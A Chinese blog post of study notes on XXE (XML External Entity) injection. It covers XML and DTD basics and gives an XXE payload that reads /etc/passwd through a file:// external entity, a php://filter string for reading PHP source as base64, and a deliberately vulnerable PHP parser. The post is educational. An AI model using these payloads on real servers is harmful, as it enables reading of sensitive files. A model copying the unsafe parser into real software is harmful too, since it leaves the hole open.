首页 > 其他分享 >XXE漏洞学习

XXE漏洞学习

时间:2022-08-19 01:33:40浏览次数:56  
标签:XML 外部 实体 free 学习 漏洞 XXE

0x00 XXE漏洞介绍:
背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种私钥。敏感数据泄露



0x01什么是xxe漏洞:

XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部实体注入攻击

  1. 漏洞存在于XML中
  2. 外部 漏洞的条件 实体通过SYStem加载外部资源 DTD也可以通过外部应用
  3. ENtity 实体 :漏洞的具体位置 变量
外部引用必须被XML解释器解析才能加载

漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。

什么是XML?

  1. 可扩展标记语言:标记数据,定义数据类型
  2. 一种标记语言,类似于HTML(由标签组成<>)
  3. 宗旨是传输数据,而非显示数据。html被设计用来显示数据
  4. 标签没有被定义,需要自行定义标签
  5. 被设计为具有自我描述性
  6. 是W3c的推荐标准

区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如 (最外面的)
6.实体字符 类似于xss eg:<>由&lt 和 &gt表示
HTML目的是为了显示数据
元素代表标签:



第一行:定义note元素,定义了里面有to,from,heading,body这四个元素

ENtity 实体定义:在DTD下面 (实体就是个变量)
<!ENTITY free "nice"> 定义了一个实体叫free ,free里面存了个nice,类似于变量的作用
调用变量:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

调用结果显示如下:

外部实体需要通过system引用
eg: //通过file协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd"> 
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

DTD通过外部引用的方法:(逻辑)

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

将上述代码写入free.dtd文件中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //这里通过system来对free.dtd文件进行加载
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:

xxe.php文件:
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ,将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//将解析后的对象打印到公屏
echo "</pre>" ;
?>

如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php

当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob

实验环境搭建:

标签:XML,外部,实体,free,学习,漏洞,XXE
From: https://www.cnblogs.com/ZZslBl0g/p/16597661.html

相关文章

  • 学习:python pyecharts数据可视化
    pyecharts数据可视化pyecharts是一个用于生成Echarts图标的类库Echarts是百度开源的一个数据可视化的Js库用Echarts生成的图可视化效果非常棒 新版v1和老版本......
  • 学习:python 小试验 ruquest爬虫 爬取音乐
    控制台抓包获取音乐链接不多说了   最后成功下载到本地 ......
  • mongoDB学习笔记(正在完善中)
    打开mongoshellmongo添加超级管理员账户useadmin 切换到admin数据库db.createUser({user:'myadmin',pwd:'myadmin',roles:[{role:'userAdminAnyDatabase'......
  • 学习javaweb第1天(数据库连接池)
    10.9、数据库连接池池化技术:准备一些预先的资源,过来就连接预先准备好的数据库连接池实现:标准接口:DataSourse官方(sun)提供的数据库连接池标准接口,由第三方组织实现此接......
  • 03.Javascript学习笔记2
    1.逻辑运算符在javascript中与或非对应的逻辑运算符是:&&||!consta=true;constb=false;console.log(a&&b);console.log(a||b);console.log......
  • TS学习笔记(3)
    在面向对象语言中,接口(Interfaces)是一个很重要的概念,它是对行为的抽象,而具体如何行动需要由类(classes)去实现(implement)。TypeScript中的接口是一个非常灵活的概念,除了可用于......
  • 学习:python pyEmail邮件处理
    pyEmail邮件处理客户端1--微信服务器---客户端2客户端1(网易)---网易邮箱服务器---QQ邮箱服务器----客户端2(QQ邮箱)邮箱协议:smtp协议imap协议pop协议  本次用126邮箱......
  • Redis学习(2)set和zset
    set集合底层就是一个hash表,只不过保存的值是null。添加删除saddkeyelementelement...用element等创建一个setsmemberskey显示key中成员sismemberskeyelemen......
  • 学习:python 实用第三方模块
    baidu-aip人工智能算法ai:识别语音唤醒---语音识别(将语音转换为字符串)---执行指令ai.baidu.com可以访问百度AI开放平台了解相关内容例如:使用百度AI开放平台-通用文字......
  • 【PyTorch学习笔记】1.Tensor 与 Variable
    在PyTorch0.4.0之前,torch.autograd包中存在Variable这种数据类型,主要是用于封装Tensor,进行自动求导。Variable主要包含下面几种属性。 data:被包装的......